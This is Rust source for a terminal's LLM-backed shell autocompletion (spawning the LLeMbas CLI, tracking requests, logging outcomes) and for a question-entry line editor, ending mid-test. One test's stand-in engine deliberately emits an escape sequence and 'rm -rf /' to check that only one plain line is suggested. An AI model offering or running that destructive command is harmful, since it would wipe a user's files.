/// Is `host`, as a pane's shell named it, the machine called `mine`? An empty
/// host and `localhost` are this machine; otherwise the names are compared
/// without case, whole or by their first label (`box` is `box.example.org`).
pub fn same_host(host: &str, mine: Option<&str>) -> bool {
let host = host.to_lowercase();
if host.is_empty() || host == "localhost" {
return true;
}
match mine {
Some(mine) => {
let mine = mine.to_lowercase();
let short = |s: &str| s.split('.').next().unwrap_or("").to_string();
mine == host || short(&mine) == short(&host)
}
None => false,
}
}
/// What the tracker says of a line.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Poll {
/// The engine answered for exactly this line: the rest, or that there is none.
Answer(Option<String>),
/// It is being asked.
Waiting,
/// It is to be asked now: the number of the request.
Start(u64),
}
/// Which request is wanted now, and the last answer for each pane. One
/// request at a time: a newer line takes the place of an older one, whose
/// request is then stopped.
#[derive(Debug, Default)]
pub struct Tracker {
next_id: u64,
wanted: Option<(usize, String, u64)>,
answers: HashMap<usize, (String, Option<String>)>,
}
impl Tracker {
pub fn poll(&mut self, pane: usize, typed: &str) -> Poll {
if let Some((line, rest)) = self.answers.get(&pane) {
if line == typed {
return Poll::Answer(rest.clone());
}
}
if let Some((p, line, _)) = &self.wanted {
if *p == pane && line == typed {
return Poll::Waiting;
}
}
self.next_id += 1;
self.wanted = Some((pane, typed.to_string(), self.next_id));
Poll::Start(self.next_id)
}
pub fn still_wanted(&self, id: u64) -> bool {
matches!(&self.wanted, Some((_, _, wanted)) if *wanted == id)
}
/// The request ended: what it gave is the answer for that line.
pub fn finish(&mut self, id: u64, pane: usize, typed: String, rest: Option<String>) {
if self.still_wanted(id) {
self.wanted = None;
}
if self.answers.len() > 256 {
self.answers.clear();
}
self.answers.insert(pane, (typed, rest));
}
/// Forget every answer: what is on changed (another model, another
/// directory's settings), so a line may be asked about again.
pub fn forget(&mut self) {
self.answers.clear();
}
}
/// One request to the engine.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Request {
/// The path of the LLeMbas CLI.
pub cli: String,
/// `bash`, `zsh` or `fish`.
pub shell: String,
/// The pane's directory: absolute. The engine refuses a request without one.
pub cwd: String,
/// The line so far.
pub line: String,
/// The autocomplete model chosen in the terminal; empty for the engine's own choice.
pub model: String,
pub timeout_ms: u64,
/// The terminal's version, as the engine's environment says it (`LLEMBAS_TTY`).
pub version: String,
/// Ask the engine to say each of its decisions (`--debug`): only of an
/// engine that knows the option.
pub debug: bool,
}
/// THE command line of a completion, in one place: what follows the CLI's path.
pub fn args(req: &Request) -> Vec<String> {
let mut args = vec![
"complete".to_string(),
"--shell".to_string(),
req.shell.clone(),
"--cwd".to_string(),
req.cwd.clone(),
"--timeout-ms".to_string(),
clamp_timeout(req.timeout_ms).to_string(),
];
if !req.model.is_empty() {
args.push("--model".to_string());
args.push(req.model.clone());
}
if req.debug {
args.push("--debug".to_string());
}
args
}
/// How a request ended.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Outcome {
/// The rest of the line.
Suggestion(String),
/// The engine ran and suggested nothing; with what it said about that, if anything.
Nothing(String),
/// The engine ended with an error: its sentence.
Failed(String),
/// No answer in this many milliseconds: the engine was stopped.
TimedOut(u64),
/// The line changed while the engine was asked: it was stopped.
Cancelled,
/// The engine could not be started: why.
NotStarted(String),
}
impl Outcome {
/// The rest of the line this gave, if any.
pub fn rest(&self) -> Option<String> {
match self {
Outcome::Suggestion(rest) => Some(rest.clone()),
_ => None,
}
}
/// In words, for the person.
pub fn sentence(&self) -> String {
match self {
Outcome::Suggestion(rest) => format!("a suggestion: {}", shorten(rest, 60)),
Outcome::Nothing(said) if said.is_empty() => "nothing was suggested".to_string(),
Outcome::Nothing(said) => format!("nothing was suggested ({})", said),
Outcome::Failed(said) => format!("an error: {}", said),
Outcome::TimedOut(ms) => {
format!("no answer in {} ms: the engine was stopped", ms)
}
Outcome::Cancelled => "stopped: the line changed".to_string(),
Outcome::NotStarted(why) => format!("the engine could not be started: {}", why),
}
}
}
/// One plain line of at most `max` characters, for showing to the person.
pub fn shorten(text: &str, max: usize) -> String {
let line = text.lines().next().unwrap_or("");
let plain: String = line.chars().filter(|c| !c.is_control()).collect();
let plain = plain.trim();
if plain.chars().count() <= max {
return plain.to_string();
}
let mut out: String = plain.chars().take(max.saturating_sub(1)).collect();
out.push('\u{2026}');
out
}
fn read_some(source: Option<impl Read + Send + 'static>) -> std::sync::mpsc::Receiver<String> {
let (tx, rx) = std::sync::mpsc::channel();
if let Some(source) = source {
// On a thread of its own: a pipe that fills would otherwise hold the
// engine, and a pipe that something else keeps open would hold us.
let _ = std::thread::Builder::new()
.name("llembas-complete-read".to_string())
.spawn(move || {
let mut bytes = Vec::new();
let _ = source.take(8192).read_to_end(&mut bytes);
let _ = tx.send(String::from_utf8_lossy(&bytes).into_owned());
});
}
rx
}
/// Run the engine for one request and wait for it. `wanted` is asked again
/// and again: when it says no, the engine is stopped.
///
/// The line goes to the engine's standard input, which is then closed (the
/// engine reads to its end). `LLEMBAS_TTY` is set, as in every pane. What
/// the engine writes to its standard error is kept: it is the sentence that
/// says why there is no suggestion.
pub fn run(req: &Request, wanted: &dyn Fn() -> bool) -> Outcome {
run_said(req, wanted).0
}
/// [`run`], and with it what the engine said of its decisions (`--debug`),
/// a line each, for the person.
pub fn run_said(req: &Request, wanted: &dyn Fn() -> bool) -> (Outcome, Vec<String>) {
let mut decisions = Vec::new();
let outcome = run_inner(req, wanted, &mut decisions);
(outcome, decisions)
}
fn run_inner(req: &Request, wanted: &dyn Fn() -> bool, decisions: &mut Vec<String>) -> Outcome {
let timeout = clamp_timeout(req.timeout_ms);
let mut command = Command::new(&req.cli);
command
.args(args(req))
.env("LLEMBAS_TTY", &req.version)
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = match command.spawn() {
Ok(child) => child,
Err(err) => return Outcome::NotStarted(format!("{}: {}", req.cli, err)),
};
if let Some(mut stdin) = child.stdin.take() {
let _ = stdin.write_all(req.line.as_bytes());
// dropped here: the engine sees the end of its input
}
let stdout = read_some(child.stdout.take());
let stderr = read_some(child.stderr.take());
let patience = Duration::from_millis(timeout + GRACE_MS);
let started = Instant::now();
let status = loop {
match child.try_wait() {
Ok(Some(status)) => break status,
Ok(None) => {}
Err(err) => {
let _ = child.kill();
let _ = child.wait();
return Outcome::Failed(format!("the engine could not be waited for: {}", err));
}
}
let still = wanted();
if !still || started.elapsed() > patience {
let _ = child.kill();
let _ = child.wait();
return if still {
Outcome::TimedOut(timeout + GRACE_MS)
} else {
Outcome::Cancelled
};
}
std::thread::sleep(Duration::from_millis(25));
};
let wait = Duration::from_millis(500);
let answer = stdout.recv_timeout(wait).unwrap_or_default();
// The engine's decisions apart from its sentence: the first line that
// is not one of them.
let mut said = String::new();
for line in stderr.recv_timeout(wait).unwrap_or_default().lines() {
match line.strip_prefix(DEBUG_PREFIX) {
Some(decision) => {
if decisions.len() < 16 {
decisions.push(shorten(decision, 160));
}
}
None => {
if said.is_empty() {
said = shorten(line, 200);
}
}
}
}
if !status.success() {
return Outcome::Failed(if said.is_empty() {
match status.code() {
Some(code) => format!("the engine ended with status {}", code),
None => "the engine was stopped by a signal".to_string(),
}
} else {
said
});
}
match suggest::clean_completion(&answer, &req.line) {
Some(rest) => Outcome::Suggestion(rest),
None => Outcome::Nothing(said),
}
}
/// One attempt, as it is remembered for the person. In memory only.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Attempt {
pub at: SystemTime,
/// The line that was asked about, shortened.
pub line: String,
pub took_ms: u64,
pub outcome: Outcome,
}
/// The last few attempts, and the last reason nothing was asked.
#[derive(Debug, Default)]
pub struct Log {
/// What the engine said of its decisions at the newest attempt.
decisions: Vec<String>,
attempts: VecDeque<Attempt>,
skipped: Option<(SystemTime, Skip)>,
}
fn ago(now: SystemTime, at: SystemTime) -> String {
let secs = now.duration_since(at).map(|d| d.as_secs()).unwrap_or(0);
if secs < 90 {
format!("{} s ago", secs)
} else if secs < 5400 {
format!("{} min ago", secs / 60)
} else {
format!("{} h ago", secs / 3600)
}
}
impl Log {
pub fn attempt(&mut self, at: SystemTime, line: &str, took_ms: u64, outcome: Outcome) {
if self.attempts.len() >= ATTEMPTS {
self.attempts.pop_front();
}
self.attempts.push_back(Attempt {
at,
line: shorten(line, 40),
took_ms,
outcome,
});
}
/// What the engine said of its decisions at the attempt just kept.
pub fn decisions(&mut self, lines: Vec<String>) {
self.decisions = lines;
}
pub fn skip(&mut self, at: SystemTime, why: Skip) {
self.skipped = Some((at, why));
}
pub fn attempts(&self) -> impl Iterator<Item = &Attempt> {
self.attempts.iter()
}
pub fn clear(&mut self) {
self.attempts.clear();
self.skipped = None;
}
/// What the terminal's side of the autocomplete knows, in words: the
/// engine and model it would use, and what the last attempts gave.
pub fn status(&self, now: SystemTime, engine: &str, model: &str, timeout_ms: u64) -> String {
let mut lines = Vec::new();
lines.push(if engine.is_empty() {
"engine: the LLeMbas CLI (lembas) was not found".to_string()
} else {
format!("engine: {}", engine)
});
lines.push(if model.is_empty() {
"model: the engine's own choice (none is chosen in the terminal)".to_string()
} else {
format!("model: {}", model)
});
lines.push(format!(
"asked after a pause of {} ms in the typing; the engine is given {} ms",
PAUSE_MS,
clamp_timeout(timeout_ms)
));
if self.attempts.is_empty() {
lines.push("asked: not yet, since the terminal started".to_string());
} else {
lines.push("asked, the newest last:".to_string());
for a in &self.attempts {
lines.push(format!(
" {}, for \"{}\", after {} ms: {}",
ago(now, a.at),
a.line,
a.took_ms,
a.outcome.sentence()
));
}
}
if !self.decisions.is_empty() {
lines.push("the engine, at the newest of them:".to_string());
for d in &self.decisions {
lines.push(format!(" {}", d));
}
}
if let Some((at, why)) = &self.skipped {
lines.push(format!(
"last not asked {}: {}",
ago(now, *at),
why.sentence()
));
}
lines.join("\n")
}
}
#[cfg(test)]
mod tests {
use super::*;
fn all_on() -> Conditions {
Conditions {
on: true,
engine: true,
private: false,
this_machine: true,
at_end: true,
history: false,
}
}
#[test]
fn when_a_line_is_asked_about() {
let c = all_on();
assert_eq!(decide(&c, "git che"), Ok("git che"));
assert_eq!(decide(&c, "ls "), Ok("ls "));
assert_eq!(decide(&c, "ls"), Err(Skip::TooShort));
assert_eq!(decide(&c, ""), Err(Skip::Empty));
assert_eq!(decide(&c, " "), Err(Skip::Empty));
assert_eq!(decide(&c, " secret thing"), Err(Skip::LeadingSpace));
let long: String = std::iter::repeat('x').take(MAX_BYTES + 1).collect();
assert_eq!(decide(&c, &long), Err(Skip::TooLong));
assert_eq!(decide(&c, "a\nb c"), Err(Skip::TooLong), "one line only");
}
#[test]
fn what_keeps_a_line_from_being_asked_about() {
let typed = "git che";
let with = |f: &dyn Fn(&mut Conditions)| {
let mut c = all_on();
f(&mut c);
decide(&c, typed)
};
assert_eq!(with(&|c| c.on = false), Err(Skip::Off));
assert_eq!(with(&|c| c.engine = false), Err(Skip::NoEngine));
assert_eq!(with(&|c| c.private = true), Err(Skip::Private));
assert_eq!(with(&|c| c.at_end = false), Err(Skip::NotAtEnd));
assert_eq!(with(&|c| c.history = true), Err(Skip::History));
assert_eq!(with(&|c| c.this_machine = false), Err(Skip::NotThisMachine));
// the switch is looked at first: with it off nothing else is said
let off = Conditions {
on: false,
engine: false,
private: true,
this_machine: false,
at_end: false,
history: true,
};
assert_eq!(decide(&off, ""), Err(Skip::Off));
// every reason has its sentence
for skip in [
Skip::Off,
Skip::NoEngine,
Skip::Private,
Skip::NotThisMachine,
Skip::NotAtEnd,
Skip::Empty,
Skip::LeadingSpace,
Skip::TooShort,
Skip::TooLong,
Skip::History,
] {
assert!(!skip.sentence().is_empty());
}
}
#[test]
fn the_directory_a_shell_reported() {
// what the shell integration writes: file://<host><directory>
assert_eq!(
dir_of_url_path("/home/person/project"),
Some("/home/person/project".to_string())
);
assert_eq!(
dir_of_url_path("/home/person/my%20project/%C3%A9t%C3%A9"),
Some("/home/person/my project/\u{e9}t\u{e9}".to_string())
);
assert_eq!(
dir_of_url_path("/100%/x"),
Some("/100%/x".to_string()),
"a percent sign that starts no escape stays"
);
assert_eq!(dir_of_url_path("/a%2"), Some("/a%2".to_string()));
assert_eq!(dir_of_url_path("/a%41"), Some("/aA".to_string()));
assert_eq!(dir_of_url_path(""), None);
assert_eq!(dir_of_url_path("relative/dir"), None);
assert_eq!(dir_of_url_path("/a%0Ab"), None, "no control character");
assert_eq!(dir_of_url_path("/a%FF"), None, "not text");
}
#[test]
fn whose_machine_a_directory_is_on() {
assert!(same_host("", None));
assert!(same_host("localhost", None));
assert!(same_host("workstation", Some("workstation")));
assert!(same_host("Workstation", Some("workstation")));
assert!(same_host("workstation.example.org", Some("workstation")));
assert!(same_host("workstation", Some("workstation.example.org")));
assert!(!same_host("laptop", Some("workstation")));
assert!(!same_host("laptop", None));
}
#[test]
fn one_request_at_a_time() {
let mut t = Tracker::default();
let first = match t.poll(1, "git che") {
Poll::Start(id) => id,
other => panic!("expected a start, got {:?}", other),
};
assert!(t.still_wanted(first));
assert_eq!(t.poll(1, "git che"), Poll::Waiting, "asked once for a line");
// the person types on: the older request is no longer wanted
let second = match t.poll(1, "git chec") {
Poll::Start(id) => id,
other => panic!("expected a start, got {:?}", other),
};
assert!(!t.still_wanted(first));
assert!(t.still_wanted(second));
t.finish(
second,
1,
"git chec".to_string(),
Some("kout main".to_string()),
);
assert!(!t.still_wanted(second));
assert_eq!(
t.poll(1, "git chec"),
Poll::Answer(Some("kout main".to_string()))
);
// an answer is for exactly its line
assert!(matches!(t.poll(1, "git check"), Poll::Start(_)));
// "nothing" is an answer too: the line is not asked about again
let third = match t.poll(2, "xyz") {
Poll::Start(id) => id,
other => panic!("expected a start, got {:?}", other),
};
t.finish(third, 2, "xyz".to_string(), None);
assert_eq!(t.poll(2, "xyz"), Poll::Answer(None));
// until what is on changes
t.forget();
assert!(matches!(t.poll(2, "xyz"), Poll::Start(_)));
}
fn request(cli: &str) -> Request {
Request {
cli: cli.to_string(),
shell: "bash".to_string(),
cwd: "/home/person/my project".to_string(),
line: "git che".to_string(),
model: String::new(),
timeout_ms: 0,
version: "1.2.3".to_string(),
debug: false,
}
}
#[test]
fn the_command_line_of_a_completion() {
let mut req = request("/opt/lembas");
assert_eq!(
args(&req),
[
"complete",
"--shell",
"bash",
"--cwd",
"/home/person/my project",
"--timeout-ms",
"8000"
]
);
req.model = "local/fast".to_string();
req.timeout_ms = 99_999;
let a = args(&req);
assert_eq!(a[a.len() - 2..], ["--model", "local/fast"]);
assert_eq!(a[6], "30000", "no more than the engine takes");
req.debug = true;
assert_eq!(args(&req).last().map(|s| s.as_str()), Some("--debug"));
assert_eq!(clamp_timeout(1), TIMEOUT_MS_MIN);
// the first request after a change is given longer
assert_eq!(timeout_for(0, false), 8000);
assert_eq!(timeout_for(0, true), 20_000);
assert_eq!(timeout_for(25_000, true), 25_000);
assert_eq!(clamp_timeout(4000), 4000);
}
#[test]
fn what_is_remembered_for_the_person() {
let mut log = Log::default();
let t0 = SystemTime::UNIX_EPOCH + Duration::from_secs(1_000_000);
let now = t0 + Duration::from_secs(12);
let empty = log.status(now, "", "", 0);
assert!(empty.contains("was not found"), "{}", empty);
assert!(empty.contains("the engine's own choice"), "{}", empty);
assert!(empty.contains("not yet"), "{}", empty);
log.attempt(t0, "git che", 420, Outcome::Suggestion("ckout main".into()));
log.attempt(t0, "kubectl get", 12_000, Outcome::TimedOut(12_000));
log.attempt(
t0,
"docker ru",
80,
Outcome::Failed("lembas complete: not logged in".into()),
);
log.skip(t0, Skip::History);
let status = log.status(now, "/opt/lembas", "local/fast", 4000);
assert!(status.contains("engine: /opt/lembas"), "{}", status);
assert!(status.contains("model: local/fast"), "{}", status);
assert!(status.contains("given 4000 ms"), "{}", status);
assert!(
status.contains("12 s ago, for \"git che\", after 420 ms: a suggestion: ckout main"),
"{}",
status
);
assert!(status.contains("no answer in 12000 ms"), "{}", status);
assert!(status.contains("an error: lembas complete: not logged in"));
assert!(status.contains("last not asked 12 s ago: your own command history"));
// no more than a few are kept, the oldest go
for i in 0..20 {
log.attempt(
t0,
&format!("line {}", i),
1,
Outcome::Nothing(String::new()),
);
}
assert_eq!(log.attempts().count(), ATTEMPTS);
assert_eq!(log.attempts().next().unwrap().line, "line 12");
// nothing that could act on a terminal is kept of a line or an answer
assert_eq!(shorten("a\u{1b}[31mb\nsecond", 60), "a[31mb");
assert_eq!(shorten("abcdefgh", 4), "abc\u{2026}");
}
/// The engine is run for real, with a stand-in for `lembas`: a script
/// that writes down what it was given. One test, one stand-in after the
/// other: a file that was just written is run by this thread alone.
#[cfg(unix)]
#[test]
fn the_engine_as_it_is_run() {
use std::os::unix::fs::PermissionsExt;
use std::path::PathBuf;
let dir = std::env::temp_dir().join(format!(
"llembas-line-complete-{}-{}",
std::process::id(),
SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::create_dir_all(&dir).unwrap();
let stand_in = |name: &str, body: &str| -> PathBuf {
let path = dir.join(name);
std::fs::write(&path, format!("#!/bin/sh\n{}\n", body)).unwrap();
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o700)).unwrap();
path
};
let read =
|name: &str| -> String { std::fs::read_to_string(dir.join(name)).unwrap_or_default() };
let cli = |path: &PathBuf| path.to_str().unwrap().to_string();
let always = || true;
// 1. What the engine is given: its arguments one by one, the line on
// its standard input and then the end of it, LLEMBAS_TTY.
let recorder = stand_in(
"lembas-records",
&format!(
"d='{}'\nfor a in \"$@\"; do printf '%s\\n' \"$a\"; done > \"$d/argv\"\n\
cat > \"$d/stdin\"\nprintf '%s' \"${{LLEMBAS_TTY-unset}}\" > \"$d/env\"\n\
printf 'git checkout main\\n'",
dir.display()
),
);
let mut req = request(&cli(&recorder));
req.model = "local/fast".to_string();
req.timeout_ms = 4000;
assert_eq!(
run(&req, &always),
Outcome::Suggestion("ckout main".to_string()),
"the line repeated by the model is not offered twice"
);
assert_eq!(
read("argv"),
"complete\n--shell\nbash\n--cwd\n/home/person/my project\n--timeout-ms\n4000\n--model\nlocal/fast\n"
);
assert_eq!(
read("stdin"),
"git che",
"the line, and the end of the input: the stand-in's cat came back"
);
assert_eq!(read("env"), "1.2.3");
// 2. Nothing suggested, with what the engine said of it.
let quiet = stand_in(
"lembas-quiet",
"cat > /dev/null\necho 'lembas complete: no suggestion in 4000 ms' >&2",
);
assert_eq!(
run(&request(&cli(&quiet)), &always),
Outcome::Nothing("lembas complete: no suggestion in 4000 ms".to_string())
);
// 3. An error is the engine's own sentence, never silence.
let failing = stand_in(
"lembas-fails",
"cat > /dev/null\necho 'lembas complete: --cwd must be an absolute directory' >&2\necho 'usage: ...' >&2\nexit 2",
);
assert_eq!(
run(&request(&cli(&failing)), &always),
Outcome::Failed("lembas complete: --cwd must be an absolute directory".to_string())
);
let silent = stand_in("lembas-silent", "exit 3");
assert_eq!(
run(&request(&cli(&silent)), &always),
Outcome::Failed("the engine ended with status 3".to_string())
);
// 4. No engine at that path.
match run(&request(&cli(&dir.join("no-such-lembas"))), &always) {
Outcome::NotStarted(why) => assert!(why.contains("no-such-lembas"), "{}", why),
other => panic!("expected NotStarted, got {:?}", other),
}
// 5. An engine that does not answer is stopped: when its time is
// over, and at once when the line is no longer wanted.
let slow = stand_in("lembas-slow", "cat > /dev/null\nexec sleep 30");
let mut req = request(&cli(&slow));
req.timeout_ms = TIMEOUT_MS_MIN;
let started = Instant::now();
assert_eq!(
run(&req, &always),
Outcome::TimedOut(TIMEOUT_MS_MIN + GRACE_MS)
);
assert!(started.elapsed() < Duration::from_secs(10));
let started = Instant::now();
let asked = std::cell::Cell::new(0);
let twice = || {
asked.set(asked.get() + 1);
asked.get() < 3
};
assert_eq!(run(&req, &twice), Outcome::Cancelled);
assert!(started.elapsed() < Duration::from_secs(2));
// 7. An engine asked to say its decisions: they are kept apart from
// its sentence.
let talking = stand_in(
"lembas-talks",
"cat > /dev/null\necho 'lembas complete: debug: shell bash, cwd /x, timeout 8000 ms' >&2\n\
echo 'lembas complete: debug: not logged in, no request' >&2\n\
echo 'lembas complete: not logged in' >&2\nexit 1",
);
let mut req = request(&cli(&talking));
req.debug = true;
let (outcome, decisions) = run_said(&req, &always);
assert_eq!(
outcome,
Outcome::Failed("lembas complete: not logged in".to_string())
);
assert_eq!(decisions.len(), 2);
assert_eq!(decisions[0], "shell bash, cwd /x, timeout 8000 ms");
let mut log = Log::default();
log.attempt(SystemTime::now(), "git che", 30, outcome);
log.decisions(decisions);
let status = log.status(SystemTime::now(), "/x/lembas", "", 0);
assert!(
status.contains(" shell bash, cwd /x, timeout 8000 ms"),
"{}",
status
);
// 6. What a model says is text: one plain line of it is offered.
let hostile = stand_in(
"lembas-hostile",
"cat > /dev/null\nprintf 'ckout \\033[31mmain\\nrm -rf /\\n'",
);
assert_eq!(
run(&request(&cli(&hostile)), &always),
Outcome::Suggestion("ckout [31mmain".to_string())
);
let _ = std::fs::remove_dir_all(&dir);
}
}
+626
View File
@@ -0,0 +1,626 @@
//! The ask line: the line a person types a question for LLeMbas on, in place
//! of the shell's own line. The terminal keeps this editor itself, so nothing
//! typed here ever reaches the shell.
/// The most characters a question may have.
pub const MAX_CHARS: usize = 4000;
/// The most earlier questions that are kept.
pub const MAX_HISTORY: usize = 100;
/// What stands between the prefix and the question.
pub const SEPARATOR: &str = " \u{203a} ";
/// What stands for the part of a long question that is scrolled out.
pub const ELLIPSIS: char = '\u{2026}';
/// What a key press means to the editor. The terminal's part maps its own key
/// codes to these.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Key {
Char(char),
Backspace,
Delete,
Left,
Right,
Home,
End,
WordLeft,
WordRight,
DeleteWordLeft,
DeleteWordRight,
DeleteToStart,
DeleteToEnd,
/// An earlier question.
Up,
/// A later one, and at last what was being typed.
Down,
Enter,
Cancel,
}
/// What a key did.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Outcome {
Unchanged,
Changed,
/// Send this question.
Submit(String),
/// Leave the ask line; nothing is sent.
Cancel,
}
#[derive(Debug, Clone, Default)]
pub struct LineEditor {
chars: Vec<char>,
cursor: usize,
/// Earlier questions, the oldest first.
history: Vec<String>,
/// Which earlier question is shown, while walking through them.
at: Option<usize>,
/// What was being typed before walking through earlier questions.
stash: Vec<char>,
}
/// A character as it may stand on the line: a line break or a tab is a space,
/// any other control character is nothing.
fn clean_char(c: char) -> Option<char> {
if c == '\n' || c == '\r' || c == '\t' {
Some(' ')
} else if c.is_control() {
None
} else {
Some(c)
}
}
impl LineEditor {
pub fn new(history: &[String]) -> Self {
LineEditor {
chars: Vec::new(),
cursor: 0,
history: history.to_vec(),
at: None,
stash: Vec::new(),
}
}
pub fn text(&self) -> String {
self.chars.iter().collect()
}
pub fn chars(&self) -> &[char] {
&self.chars
}
/// Where the cursor is: before the character of this index.
pub fn cursor(&self) -> usize {
self.cursor
}
pub fn is_empty(&self) -> bool {
self.chars.is_empty()
}
fn word_left(&self) -> usize {
let mut i = self.cursor;
while i > 0 && self.chars[i - 1].is_whitespace() {
i -= 1;
}
while i > 0 && !self.chars[i - 1].is_whitespace() {
i -= 1;
}
i
}
fn word_right(&self) -> usize {
let n = self.chars.len();
let mut i = self.cursor;
while i < n && self.chars[i].is_whitespace() {
i += 1;
}
while i < n && !self.chars[i].is_whitespace() {
i += 1;
}
i
}
fn set_line(&mut self, chars: Vec<char>) {
self.chars = chars;
self.cursor = self.chars.len();
}
fn insert_char(&mut self, c: char) -> bool {
if self.chars.len() >= MAX_CHARS {
return false;
}
self.chars.insert(self.cursor, c);
self.cursor += 1;
true
}
/// Text put on the line at once: a paste, or composed input. Line breaks
/// become one space each (a pasted question of several lines is still one
/// question), other control characters are dropped.
pub fn insert_text(&mut self, text: &str) -> Outcome {
let mut changed = false;
let mut last_was_break = false;
for c in text.chars() {
let is_break = c == '\n' || c == '\r';
if is_break && last_was_break {
continue;
}
last_was_break = is_break;
if let Some(c) = clean_char(c) {
if self.insert_char(c) {
changed = true;
}
}
}
if changed {
Outcome::Changed
} else {
Outcome::Unchanged
}
}
pub fn key(&mut self, key: Key) -> Outcome {
let n = self.chars.len();
match key {
Key::Char(c) => match clean_char(c) {
Some(c) => {
if self.insert_char(c) {
Outcome::Changed
} else {
Outcome::Unchanged
}
}
None => Outcome::Unchanged,
},
Key::Backspace => {
if self.cursor == 0 {
return Outcome::Unchanged;
}
self.cursor -= 1;
self.chars.remove(self.cursor);
Outcome::Changed
}
Key::Delete => {
if self.cursor >= n {
return Outcome::Unchanged;
}
self.chars.remove(self.cursor);
Outcome::Changed
}
Key::Left => {
if self.cursor == 0 {
return Outcome::Unchanged;
}
self.cursor -= 1;
Outcome::Changed
}
Key::Right => {
if self.cursor >= n {
return Outcome::Unchanged;
}
self.cursor += 1;
Outcome::Changed
}
Key::Home => {
if self.cursor == 0 {
return Outcome::Unchanged;
}
self.cursor = 0;
Outcome::Changed
}
Key::End => {
if self.cursor == n {
return Outcome::Unchanged;
}
self.cursor = n;
Outcome::Changed
}
Key::WordLeft => {
let to = self.word_left();
if to == self.cursor {
return Outcome::Unchanged;
}
self.cursor = to;
Outcome::Changed
}
Key::WordRight => {
let to = self.word_right();
if to == self.cursor {
return Outcome::Unchanged;
}
self.cursor = to;
Outcome::Changed
}
Key::DeleteWordLeft => {
let to = self.word_left();
if to == self.cursor {
return Outcome::Unchanged;
}
self.chars.drain(to..self.cursor);
self.cursor = to;
Outcome::Changed
}
Key::DeleteWordRight => {
let to = self.word_right();
if to == self.cursor {
return Outcome::Unchanged;
}
self.chars.drain(self.cursor..to);
Outcome::Changed
}
Key::DeleteToStart => {
if self.cursor == 0 {
return Outcome::Unchanged;
}
self.chars.drain(0..self.cursor);
self.cursor = 0;
Outcome::Changed
}
Key::DeleteToEnd => {
if self.cursor >= n {
return Outcome::Unchanged;
}
self.chars.truncate(self.cursor);
Outcome::Changed
}
Key::Up => {
if self.history.is_empty() {
return Outcome::Unchanged;
}
let next = match self.at {
None => {
self.stash = self.chars.clone();
self.history.len() - 1
}
Some(0) => return Outcome::Unchanged,
Some(i) => i - 1,
};
self.at = Some(next);
let line: Vec<char> = self.history[next].chars().collect();
self.set_line(line);
Outcome::Changed
}
Key::Down => {
let i = match self.at {
None => return Outcome::Unchanged,
Some(i) => i,
};
if i + 1 < self.history.len() {
self.at = Some(i + 1);
let line: Vec<char> = self.history[i + 1].chars().collect();
self.set_line(line);
} else {
self.at = None;
let line = std::mem::take(&mut self.stash);
self.set_line(line);
}
Outcome::Changed
}
Key::Enter => {
let text = self.text();
let text = text.trim();
if text.is_empty() {
Outcome::Cancel
} else {
Outcome::Submit(text.to_string())
}
}
Key::Cancel => Outcome::Cancel,
}
}
}
/// Keep a question that was sent among the earlier ones: the newest last, each
/// once, no more than [`MAX_HISTORY`].
pub fn remember(history: &mut Vec<String>, line: &str) {
let line = line.trim();
if line.is_empty() {
return;
}
history.retain(|h| h != line);
history.push(line.to_string());
if history.len() > MAX_HISTORY {
let extra = history.len() - MAX_HISTORY;
history.drain(0..extra);
}
}
/// The ask line as it fits one row of a pane.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct View {
/// What stands before the question: the prefix and the separator, or less
/// when the row is narrow.
pub lead: String,
/// The part of the question that shows.
pub text: String,
/// The column of the cursor in the row.
pub cursor_col: usize,
}
/// Fit the ask line into `cols` columns. `width` gives the columns a character
/// takes. The cursor is always in the row; a question longer than the row
/// scrolls, with an ellipsis where its beginning went.
pub fn view(
prefix: &str,
chars: &[char],
cursor: usize,
cols: usize,
width: &dyn Fn(char) -> usize,
) -> View {
let cursor = cursor.min(chars.len());
let text_width = |s: &str| -> usize { s.chars().map(|c| width(c)).sum() };
let full = format!("{}{}", prefix, SEPARATOR);
let short = format!("{} ", SEPARATOR.trim());
let lead = if text_width(&full) + 8 <= cols {
full
} else if text_width(&short) + 2 <= cols {
short
} else {
String::new()
};
let lead_width = text_width(&lead);
// the columns the question has, and one of them is kept for the cursor
let limit = cols.saturating_sub(lead_width);
let room = limit.saturating_sub(1);
let before: usize = chars[..cursor].iter().map(|c| width(*c)).sum();
let mut first = 0;
if before > room {
// scrolled: one column goes to the ellipsis
let budget = room.saturating_sub(1);
first = cursor;
let mut acc = 0;
while first > 0 {
let w = width(chars[first - 1]);
if acc + w > budget {
break;
}
acc += w;
first -= 1;
}
}
let mut text = String::new();
let mut used = 0;
if first > 0 && limit > 0 {
text.push(ELLIPSIS);
used += 1;
}
let mut cursor_col = lead_width + used;
for (i, c) in chars.iter().enumerate().skip(first) {
let w = width(*c);
if used + w > limit {
break;
}
text.push(*c);
used += w;
if i < cursor {
cursor_col = lead_width + used;
}
}
cursor_col = cursor_col.min(cols.saturating_sub(1));
View {
lead,
text,
cursor_col,
}
}
#[cfg(test)]
mod tests {
use super::*;
fn typed(editor: &mut LineEditor, text: &str) {
for c in text.chars() {
editor.key(Key::Char(c));
}
}
fn one(_: char) -> usize {
1
}
#[test]
fn typing_and_moving() {
let mut e = LineEditor::new(&[]);
assert!(e.is_empty());
typed(&mut e, "why did it fail");
assert_eq!(e.text(), "why did it fail");
assert_eq!(e.cursor(), 15);
assert_eq!(e.key(Key::Home), Outcome::Changed);
assert_eq!(e.cursor(), 0);
assert_eq!(e.key(Key::Home), Outcome::Unchanged);
assert_eq!(e.key(Key::Left), Outcome::Unchanged);
assert_eq!(e.key(Key::Backspace), Outcome::Unchanged);
e.key(Key::WordRight);
assert_eq!(e.cursor(), 3);
e.key(Key::WordRight);
assert_eq!(e.cursor(), 7);
e.key(Key::WordLeft);
assert_eq!(e.cursor(), 4);
e.key(Key::End);
assert_eq!(e.cursor(), 15);
